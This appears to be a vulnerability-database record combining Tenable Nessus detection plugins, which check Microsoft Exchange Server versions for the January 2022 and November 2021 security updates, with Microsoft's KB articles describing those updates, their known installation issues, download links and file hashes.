{"nessus": [{"lastseen": "2023-05-18T14:39:38", "description": "The Microsoft Exchange Server installed on the remote host is missing security updates. It is, therefore, affected by a remote code execution vulnerability. An attacker can exploit this to bypass authentication and execute unauthorized arbitrary code.", "cvss3": {}, "published": "2022-01-14T00:00:00", "type": "nessus", "title": "Security Updates for Exchange (January 2022)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2022-21846", "CVE-2022-21855", "CVE-2022-21969"], "modified": "2022-03-11T00:00:00", "cpe": ["cpe:/a:microsoft:exchange_server"], "id": "SMB_NT_MS22_JAN_EXCHANGE.NASL", "href": "https://www.tenable.com/plugins/nessus/156745", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable, Inc. \n##\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(156745);\n script_version(\"1.3\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/03/11\");\n\n script_cve_id(\"CVE-2022-21846\", \"CVE-2022-21855\", \"CVE-2022-21969\");\n script_xref(name:\"MSKB\", value:\"5008631\");\n script_xref(name:\"MSFT\", value:\"MS22-5008631\");\n script_xref(name:\"IAVA\", value:\"2022-A-0009-S\");\n\n script_name(english:\"Security Updates for Exchange (January 2022)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The Microsoft Exchange Server installed on the remote host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The Microsoft Exchange Server installed on the remote host is missing security updates. It is, therefore, affected by\na remote code execution vulnerability. An attacker can exploit this to bypass authentication and execute unauthorized\narbitrary code.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.microsoft.com/en-us/help/5008631\");\n script_set_attribute(attribute:\"solution\", value:\n\"Microsoft has released KB5008631 to address this issue.\");\n script_set_cvss_base_vector(\"CVSS2#AV:A/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2022-21846\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2022/01/11\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2022/01/11\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2022/01/14\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:microsoft:exchange_server\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ms_bulletin_checks_possible.nasl\", \"microsoft_exchange_installed.nbin\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, \"Host/patch_management_checks\");\n\n exit(0);\n}\n\ninclude('install_func.inc');\ninclude('smb_func.inc');\ninclude('smb_hotfixes.inc');\ninclude('smb_hotfixes_fcheck.inc');\n\nget_kb_item_or_exit('SMB/MS_Bulletin_Checks/Possible');\n\nexit_if_productname_not_server();\n\nvar bulletin = 'MS22-01';\nvar kbs = make_list(\n '5008631'\n);\n\nif (get_kb_item('Host/patch_management_checks'))\n hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nvar install = get_single_install(app_name:'Microsoft Exchange');\n\nvar path = install['path'];\nvar version = install['version'];\nvar release = install['RELEASE'];\nvar port = kb_smb_transport();\n\nif (\n release != 150 && # 2013\n release != 151 && # 2016\n release != 152 # 2019\n) audit(AUDIT_INST_VER_NOT_VULN, 'Exchange', version);\n\nvar kb_checks =\n{\n '150' :\n {\n '23' : '15.00.1497.028',\n 'unsupported' : 22\n },\n '151' :\n {\n '21' : '15.01.2308.021',\n '22' : '15.01.2375.018',\n 'unsupported' : 20\n },\n '152' :\n {\n '10' : '15.02.0922.020',\n '11' : '15.02.0986.015',\n 'unsupported' : 9}\n};\n\nvar cu = 0;\nif (!empty_or_null(install['CU']))\n cu = install['CU'];\nvar kb = '5008631';\nvar unsupported = FALSE;\n\nif (kb_checks[release]['unsupported'] >= cu) unsupported_cu = TRUE;\n else if (empty_or_null(kb_checks[release][cu])) audit(AUDIT_HOST_NOT, 'affected');\n\n\nvar fixedver = kb_checks[release][cu];\n\nif ((fixedver && hotfix_is_vulnerable(path:hotfix_append_path(path:path, value:\"Bin\"), file:'ExSetup.exe', version:fixedver, bulletin:bulletin, kb:kb))\n || (unsupported_cu && report_paranoia == 2))\n{\n if (unsupported_cu)\n hotfix_add_report('The Microsoft Exchange Server installed at ' + path +\n ' has an unsupported Cumulative Update (CU) installed and may be ' +\n 'vulnerable to the CVEs contained within the advisory. Unsupported ' +\n 'Exchange CU versions are not typically included in Microsoft ' +\n 'advisories and are not indicated as affected.\\n',\n bulletin:bulletin, kb:kb);\n\n set_kb_item(name:'SMB/Missing/' + bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, 'affected');\n}\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-18T15:35:53", "description": "The Microsoft Exchange Server installed on the remote host is missing security updates. It is, therefore, affected by multiple vulnerabilities:\n\n - A session spoofing vulnerability exists. An attacker can exploit this to perform actions with the privileges of another user. (CVE-2021-41349, CVE-2021-42305)\n\n - A remote code execution vulnerability. An attacker can exploit this to bypass authentication and execute unauthorized arbitrary commands. (CVE-2021-42321)", "cvss3": {}, "published": "2021-11-09T00:00:00", "type": "nessus", "title": "Security Updates for Exchange (November 2021)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2021-41349", "CVE-2021-42305", "CVE-2021-42321"], "modified": "2023-03-06T00:00:00", "cpe": ["cpe:/a:microsoft:exchange_server"], "id": "SMB_NT_MS21_NOV_EXCHANGE.NASL", "href": "https://www.tenable.com/plugins/nessus/154999", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable Network Security, Inc.\n##\n# The descriptive text and package checks in this plugin were \n# extracted from the Microsoft Security Updates API. The text\n# itself is copyright (C) Microsoft Corporation.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(154999);\n script_version(\"1.12\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2023/03/06\");\n\n script_cve_id(\"CVE-2021-41349\", \"CVE-2021-42305\", \"CVE-2021-42321\");\n script_xref(name:\"IAVA\", value:\"2021-A-0543-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/12/01\");\n script_xref(name:\"MSKB\", value:\"5007409\");\n script_xref(name:\"MSFT\", value:\"MS21-5007409\");\n\n script_name(english:\"Security Updates for Exchange (November 2021)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The Microsoft Exchange Server installed on the remote host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The Microsoft Exchange Server installed on the remote host\nis missing security updates. It is, therefore, affected by\nmultiple vulnerabilities:\n\n - A session spoofing vulnerability exists. An attacker can\n exploit this to perform actions with the privileges of\n another user. (CVE-2021-41349, CVE-2021-42305)\n\n - A remote code execution vulnerability. An attacker can\n exploit this to bypass authentication and execute\n unauthorized arbitrary commands. (CVE-2021-42321)\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.microsoft.com/en-us/help/5007409\");\n script_set_attribute(attribute:\"solution\", value:\n\"Microsoft has released KB5007409 to address this issue.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:S/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-42321\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Microsoft Exchange Server ChainedSerializationBinder RCE');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/11/09\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/11/09\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/11/09\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:microsoft:exchange_server\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2023 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ms_bulletin_checks_possible.nasl\", \"microsoft_exchange_installed.nbin\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, \"Host/patch_management_checks\");\n\n exit(0);\n}\ninclude('vcf_extras_microsoft.inc');\n\nvar app_info = vcf::microsoft::exchange::get_app_info();\n\nvar constraints =\n[\n {\n 'product' : '2013', \n 'unsupported_cu' : 22, \n 'min_version': '15.0.1497.0', \n 'fixed_version': '15.0.1497.26'\n },\n {\n 'product' : '2016', \n 'unsupported_cu' : 20, \n 'min_version': '15.1.2308.0', \n 'fixed_version': '15.1.2308.20'\n },\n {\n 'product': '2016',\n 'unsupported_cu': 20,\n 'min_version': '15.1.2375.0',\n 'fixed_version': '15.1.2375.17'\n },\n {\n 'product' : '2019', \n 'unsupported_cu' : 9,\n 'min_version': '15.2.922.0',\n 'fixed_version': '15.2.922.19'\n },\n {\n 'product' : '2019', \n 'unsupported' : 9,\n 'min_version': '15.2.986.0',\n 'fixed_version': '15.2.986.14'\n }\n];\n\nvcf::microsoft::exchange::check_version_and_report(\n app_info:app_info, \n bulletin:'MS21-11',\n constraints:constraints, \n severity:SECURITY_WARNING\n);\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-18T15:36:08", "description": "The Microsoft Exchange Server installed on the remote host is missing security updates. It is, therefore, affected by multiple vulnerabilities:\n\n - A session spoofing vulnerability exists. An attacker can exploit this to perform actions with the privileges of another user. (CVE-2021-41349, CVE-2021-42305)\n\n - A remote code execution vulnerability. An attacker can exploit this to bypass authentication and execute unauthorized arbitrary commands. (CVE-2021-42321)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.", "cvss3": {}, "published": "2021-12-09T00:00:00", "type": "nessus", "title": "Security Updates for Exchange (November 2021) (Remote)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2021-41349", "CVE-2021-42305", "CVE-2021-42321"], "modified": "2023-03-06T00:00:00", "cpe": ["cpe:/a:microsoft:exchange_server"], "id": "SMB_NT_MS21_NOV_EXCHANGE_REMOTE.NASL", "href": "https://www.tenable.com/plugins/nessus/155962", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable Network Security, Inc.\n##\n# The descriptive text and package checks in this plugin were \n# extracted from the Microsoft Security Updates API. The text\n# itself is copyright (C) Microsoft Corporation.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(155962);\n script_version(\"1.7\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2023/03/06\");\n\n script_cve_id(\"CVE-2021-41349\", \"CVE-2021-42305\", \"CVE-2021-42321\");\n script_xref(name:\"IAVA\", value:\"2021-A-0543-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/12/01\");\n script_xref(name:\"MSKB\", value:\"5007409\");\n script_xref(name:\"MSFT\", value:\"MS21-5007409\");\n\n script_name(english:\"Security Updates for Exchange (November 2021) (Remote)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The Microsoft Exchange Server installed on the remote host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The Microsoft Exchange Server installed on the remote host\nis missing security updates. It is, therefore, affected by\nmultiple vulnerabilities:\n\n - A session spoofing vulnerability exists. An attacker can\n exploit this to perform actions with the privileges of\n another user. (CVE-2021-41349, CVE-2021-42305)\n\n - A remote code execution vulnerability. An attacker can\n exploit this to bypass authentication and execute\n unauthorized arbitrary commands. (CVE-2021-42321)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.microsoft.com/en-us/help/5007409\");\n script_set_attribute(attribute:\"solution\", value:\n\"Microsoft has released KB5007409 to address this issue.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:S/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-42321\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Microsoft Exchange Server ChainedSerializationBinder RCE');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/11/09\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/11/09\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/12/09\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:microsoft:exchange_server\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2023 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"exchange_detect.nbin\");\n script_require_keys(\"installed_sw/Exchange Server\");\n\n exit(0);\n}\n\ninclude('http.inc');\ninclude('vcf.inc');\n\nvar port = get_http_port(default:80);\nvar app = 'Exchange Server';\nvar app_info = vcf::get_app_info(app:app, port:port);\n\nif (report_paranoia < 2)\n vcf::check_granularity(app_info:app_info, sig_segments:4);\n\nvar constraints = [\n {'min_version' : '15.0.1497', 'fixed_version':'15.0.1497.26'},\n {'min_version' : '15.1.2375', 'fixed_version':'15.1.2375.17'},\n {'min_version' : '15.1.2308', 'fixed_version':'15.1.2308.20'},\n {'min_version' : '15.2.986', 'fixed_version':'15.2.986.14'},\n {'min_version' : '15.2.922', 'fixed_version':'15.2.922.19'}\n];\n\nvcf::check_version_and_report(\n app_info:app_info,\n constraints:constraints,\n severity:SECURITY_WARNING\n);\n", "cvss": {"score": 0.0, "vector": "NONE"}}], "mskb": [{"lastseen": "2023-05-19T10:53:05", "description": "None\nThis security update rollup resolves vulnerabilities in Microsoft Exchange Server. To learn more about these vulnerabilities, see the following Common Vulnerabilities and Exposures (CVE):[CVE-2022-21846 | Microsoft Exchange Server Remote Code Execution Vulnerability](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21846>) [CVE-2022-21855 | Microsoft Exchange Server Remote Code Execution Vulnerability](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21855>) [CVE-2022-21969 | Microsoft Exchange Server Remote Code Execution Vulnerability](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21969>)\n\n## Known issues in this update\n\n * **Issue 1** \n \nWhen you try to manually install this security update by double-clicking the update file (.msp) to run it in Normal mode (that is, not as an administrator), some files are not correctly updated.When this issue occurs, you don\u2019t receive an error message or any indication that the security update was not correctly installed. However, Outlook Web Access (OWA) and the Exchange Control Panel (ECP) might stop working. \n \nThis issue occurs on servers that are using User Account Control (UAC). The issue occurs because the security update doesn\u2019t correctly stop certain Exchange-related services.\n\n**Note: **This issue does not occur if you install the update through Microsoft Update.\n\nTo avoid this issue, follow these steps to manually install this security update:\n 1. Select **Start**, and type **cmd**.\n 2. In the results, right-click **Command Prompt**, and then select **Run as administrator**.\n 3. If the **User Account Control** dialog box appears, verify that the default action is the action that you want, and then select **Continue**.\n 4. Type the full path of the .msp file, and then press Enter.\n * **Issue 2** \n \nExchange services might remain in a disabled state after you install this security update. This condition does not indicate that the update is not installed correctly. This condition might occur if the service control scripts experience a problem when they try to return Exchange services to their usual state. \n \nTo fix this issue, use Services Manager to restore the startup type to **Automatic**, and then start the affected Exchange services manually. To avoid this issue, run the security update at an elevated command prompt. For more information about how to open an elevated Command Prompt window, see [Start a Command Prompt as an Administrator](<https://technet.microsoft.com/en-us/library/cc947813\\(v=ws.10\\).aspx>).\n * **Issue 3** \n \nWhen you block third-party cookies in a web browser, you might be continually prompted to trust a particular add-in even though you keep selecting the option to trust it. This issue occurs also in privacy window modes (such as InPrivate mode in Microsoft Edge). This issue occurs because browser restrictions prevent the response from being recorded. To record the response and enable the add-in, you must enable third-party cookies for the domain that's hosting OWA or Office Online Server in the browser settings. To enable this setting, refer to the specific support documentation for the browser.\n * **Issue 4** \n \nWhen you try to request free/busy information for a user in a different forest in a trusted cross-forest topology, the request fails and generates a \"(400) Bad Request\" error message. For more information and workarounds to this issue, see [\"(400) Bad Request\" error during Autodiscover for per-user free/busy in a trusted cross-forest topology](<https://support.microsoft.com/help/5003623>).\n\n## How to get and install the update\n\n### Method 1: Microsoft Update\n\nThis update is available through Windows Update. When you turn on automatic updating, this update will be downloaded and installed automatically. For more information about how to turn on automatic updating, see [Windows Update: FAQ](<https://support.microsoft.com/help/12373/windows-update-faq>).\n\n### Method 2: Microsoft Update Catalog\n\nTo get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5008631>) website.\n\n### Method 3: Microsoft Download Center\n\nYou can get the standalone update package through the Microsoft Download Center.\n\n * [Download Exchange Server 2019 Cumulative Update 11 Security Update 3 (KB5008631)](<https://www.microsoft.com/download/details.aspx?familyid=02f280f1-e574-4ef6-a265-8d33f6e5823b>)\n * [Download Exchange Server 2019 Cumulative Update 10 Security Update 4 (KB5008631)](<https://www.microsoft.com/download/details.aspx?familyid=c03bef2b-342f-40ef-a35b-e3f56bc909ad>)\n * [Download Exchange Server 2016 Cumulative Update 22 Security Update 3 (KB5008631)](<https://www.microsoft.com/download/details.aspx?familyid=ec50d425-44a9-4f15-bda0-bc1d62f36310>)\n * [Download Exchange Server 2016 Cumulative Update 21 Security Update 4 (KB5008631)](<https://www.microsoft.com/download/details.aspx?familyid=be6d511a-2523-4817-b5cd-11d1316ac398>)\n * [Download Exchange Server 2013 Cumulative Update 23 Security Update 13 (KB5008631)](<https://www.microsoft.com/download/details.aspx?familyid=9bcec622-bd02-4557-ad77-4c560abb3da3>)\n\n## More information\n\n### Security update deployment information\n\nFor deployment information about this update, see [January 11, 2022](<https://support.microsoft.com/help/5010029>).\n\n### Security update replacement information\n\nThis security update replaces the following previously released updates:\n\n * [Description of the security update for Microsoft Exchange Server 2019, 2016, and 2013: November 9, 2021 (KB5007409)](<https://support.microsoft.com/help/5007409>)\n\n## File information\n\n### File hash information\n\nUpdate name| File name| SHA256 hash \n---|---|--- \nExchange Server 2019 CU11 SU3| Exchange2019-KB5008631-x64-en.msp| F2B6ED1DF21F33C3B640D14F4C35D9B2B63FAAD36ADCB5A185D2CB28F31AD69F \nExchange Server 2019 CU10 SU4| Exchange2019-KB5008631-x64-en.msp| F568797B5B47C1ECA35BEEF066D2C42AF26FD3FA02E95EF7081B58061B9FA499 \nExchange Server 2016 CU22 SU3| Exchange2016-KB5008631-x64-en.msp| 8C59EF1433251BEAB8A79367D9C0CC377B01FBEEB32F613A083F1173E59EEE04 \nExchange Server 2016 CU21 SU4| Exchange2016-KB5008631-x64-en.msp| B52A62E1BB23D3DE65CB0141BEA3EB8BA14DC7D967D1EE4163D534D6FA6DA507 \nExchange Server 2013 CU23 SU1| Exchange2013-KB5008631-x64-en.msp| 45E8BF571637E7B7329EEBDC331EB862DFA40696E8DE180CE396F67C97BF9B96 \n \n### Exchange Server file information\n\nFor a list of the files that are provided in this security update, download the file information for security update 5008631 for the appropriate product.\n\n * [File table for Exchange Server 2019 CU11 SU3 (KB5008631)](<https://download.microsoft.com/download/f/c/a/fcaf04d4-c144-418e-8590-e68e3006a470/KB5008631 Exchange 2019 CU11 SU3.csv>)\n * [File table for Exchange Server 2019 CU10 SU4 (KB5008631)](<https://download.microsoft.com/download/7/6/9/7690a75d-2bd5-48a6-a0c7-9f0163dd73c8/KB5008631 Exchange 2019 CU10 SU4.csv>)\n * [File table for Exchange Server 2016 CU22 SU3 (KB5008631)](<https://download.microsoft.com/download/a/d/f/adf94188-0d27-4087-b45a-220d8b5370a5/KB5008631 Exchange 2016 CU22 SU3.csv>)\n * [File table for Exchange Server 2016 CU21 SU4 (KB5008631)](<https://download.microsoft.com/download/1/9/4/1947a1ad-0cda-4496-8bde-4911aecca458/KB5008631 Exchange 2016 CU21 SU4.csv>)\n * [File table for Exchange Server 2013 CU23 SU13 (KB5008631)](<https://download.microsoft.com/download/4/7/b/47b0a68b-71f2-418f-abe2-6462907d4ba3/KB5008631 Exchange 2013 CU23 SU13.csv>)\n\n## Information about protection and security\n\nProtect yourself online: [Windows Security support](<https://support.microsoft.com/hub/4099151>)Learn how we guard against cyber threats: [Microsoft Security](<https://www.microsoft.com/security>)\n", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 9.0, "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-11T08:00:00", "type": "mskb", "title": "Description of the security update for Microsoft Exchange Server 2019, 2016, and 2013: January 11, 2022 (KB5008631)", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 6.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 8.3, "vectorString": "AV:A/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "ADJACENT_NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-21846", "CVE-2022-21855", "CVE-2022-21969"], "modified": "2022-01-11T08:00:00", "id": "KB5008631", "href": "https://support.microsoft.com/en-us/help/5008631", "cvss": {"score": 8.3, "vector": "AV:A/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-18T10:51:04", "description": "None\nThis security update rollup resolves vulnerabilities in Microsoft Exchange Server. To learn more about these vulnerabilities, see the following Common Vulnerabilities and Exposures (CVE):\n\n * [CVE-2021-41349 | Microsoft Exchange Server Spoofing Vulnerability](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41349>)\n * [CVE-2021-42305 | Microsoft Exchange Server Spoofing Vulnerability](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42305>)\n * [CVE-2021-42321 | Microsoft Exchange Server Remote Code Execution Vulnerability](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42321>)\n\n## Improvements in this update\n\n * The Exchange Server version number is now added to the HTTP response reply header. You can use this information to verify the security update status of Exchange-based servers in your network.\n\n## Known issues in this update\n\n * **Issue 1** \n \nWhen you try to manually install this security update by double-clicking the update file (.msp) to run it in Normal mode (that is, not as an administrator), some files are not correctly updated.When this issue occurs, you don\u2019t receive an error message or any indication that the security update was not correctly installed. However, Outlook Web Access (OWA) and the Exchange Control Panel (ECP) might stop working. \n \nThis issue occurs on servers that are using User Account Control (UAC). The issue occurs because the security update doesn\u2019t correctly stop certain Exchange-related services.\n\n**Note: **This issue does not occur if you install the update through Microsoft Update.\n\nTo avoid this issue, follow these steps to manually install this security update:\n 1. Select **Start**, and type **cmd**.\n 2. In the results, right-click **Command Prompt**, and then select **Run as administrator**.\n 3. If the **User Account Control** dialog box appears, verify that the default action is the action that you want, and then select **Continue**.\n 4. Type the full path of the .msp file, and then press Enter.\n * **Issue 2** \n \nExchange services might remain in a disabled state after you install this security update. This condition does not indicate that the update is not installed correctly. This condition might occur if the service control scripts experience a problem when they try to return Exchange services to their usual state. \n \nTo fix this issue, use Services Manager to restore the startup type to **Automatic**, and then start the affected Exchange services manually. To avoid this issue, run the security update at an elevated command prompt. For more information about how to open an elevated Command Prompt window, see [Start a Command Prompt as an Administrator](<https://technet.microsoft.com/en-us/library/cc947813\\(v=ws.10\\).aspx>).\n * **Issue 3** \n \nWhen you block third-party cookies in a web browser, you might be continually prompted to trust a particular add-in even though you keep selecting the option to trust it. This issue occurs also in privacy window modes (such as InPrivate mode in Microsoft Edge). This issue occurs because browser restrictions prevent the response from being recorded. To record the response and enable the add-in, you must enable third-party cookies for the domain that's hosting OWA or Office Online Server in the browser settings. To enable this setting, refer to the specific support documentation for the browser.\n * **Issue 4** \n \nWhen you try to request free/busy information for a user in a different forest in a trusted cross-forest topology, the request fails and generates a \"(400) Bad Request\" error message. For more information and workarounds to this issue, see [\"(400) Bad Request\" error during Autodiscover for per-user free/busy in a trusted cross-forest topology](<https://support.microsoft.com/help/5003623>).\n\n## How to get and install the update\n\n### Method 1: Microsoft Update\n\nThis update is available through Windows Update. When you turn on automatic updating, this update will be downloaded and installed automatically. For more information about how to turn on automatic updating, see [Windows Update: FAQ](<https://support.microsoft.com/help/12373/windows-update-faq>).\n\n### Method 2: Microsoft Update Catalog\n\nTo get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5007012>) website.\n\n### Method 3: Microsoft Download Center\n\nYou can get the standalone update package through the Microsoft Download Center.\n\n * [Download Exchange Server 2019 Cumulative Update 10 Security Update 3 (KB5007409)](<https://www.microsoft.com/download/details.aspx?familyid=1c42658f-9d60-4afb-a6c6-e35594b17d39>)\n * [Download Exchange Server 2019 Cumulative Update 11 Security Update 2 (KB5007409)](<https://www.microsoft.com/download/details.aspx?familyid=cd28ac6e-eb6f-4747-b9f0-24785b08a012>)\n * [Download Exchange Server 2016 Cumulative Update 22 Security Update 2 (KB5007409)](<https://www.microsoft.com/download/details.aspx?familyid=688b79c6-7e43-4332-848d-47e88f60818c>)\n * [Download Exchange Server 2016 Cumulative Update 21 Security Update 3 (KB5007409)](<https://www.microsoft.com/download/details.aspx?familyid=de4b96e0-8d0e-4830-8354-7ed2128e6f82>)\n * [Download Exchange Server 2013 Cumulative Update 23 Security Update 12 (KB5007409)](<https://www.microsoft.com/download/details.aspx?familyid=8ef4e237-7007-4e30-9525-75ae6e66bb41>)\n\n## More information\n\n### Security update deployment information\n\nFor deployment information about this update, see [November 9, 2021](<https://support.microsoft.com/help/5007403>).\n\n### Security update replacement information\n\nThis security update replaces the following previously released updates:\n\n * [Description of the security update for Microsoft Exchange Server 2019 and 2016: October 12, 2021 (KB5007012)](<https://support.microsoft.com/help/5007012>)\n * [Description of the security update for Microsoft Exchange Server 2013: October 12, 2021 (KB5007011)](<https://support.microsoft.com/help/5007011>)\n\n## File information\n\n### File hash information\n\nUpdate name| File name| SHA256 hash \n---|---|--- \nExchange Server 2019 CU11 SU2| Exchange2019-KB5007012-x64-en.msp| 1A1BB644ABE0C178F0CD3BDFE85D1342BE1FA2ED10DD4FC34A0CBE4B129CDAA0 \nExchange Server 2019 CU10 SU3| Exchange2019-KB5007012-x64-en.msp| 73DA8BD650E9733A38AF96DD778F99420F48141D4C3F6FB3454F2040B934FD9B \nExchange Server 2016 CU22 SU2| Exchange2016-KB5007012-x64-en.msp| 15D94E82BC208D20BB119E71CEC742E26F3AD86B4707B7E82BCDEAF4C00F0A36 \nExchange Server 2016 CU21 SU3| Exchange2016-KB5007012-x64-en.msp| F335CF5133DD0D1F00A4DF4234C533F85B985A657B99A87913CE3D83EAC1D37C \nExchange Server 2013 CU23 SU12| Exchange2013-KB5007409-x64-en.msp| 44174E35D85CD92B87B911E8C1081700CA0AFD6948FA8E245663A12AF2B6BBFD \n \n### Exchange Server file information\n\nThe English (United States) version of this update installs files that have the attributes that are listed in the following tables. The dates and times for these files are listed in Coordinated Universal Time (UTC). The dates and times for these files on your local computer are displayed in your local time together with your current 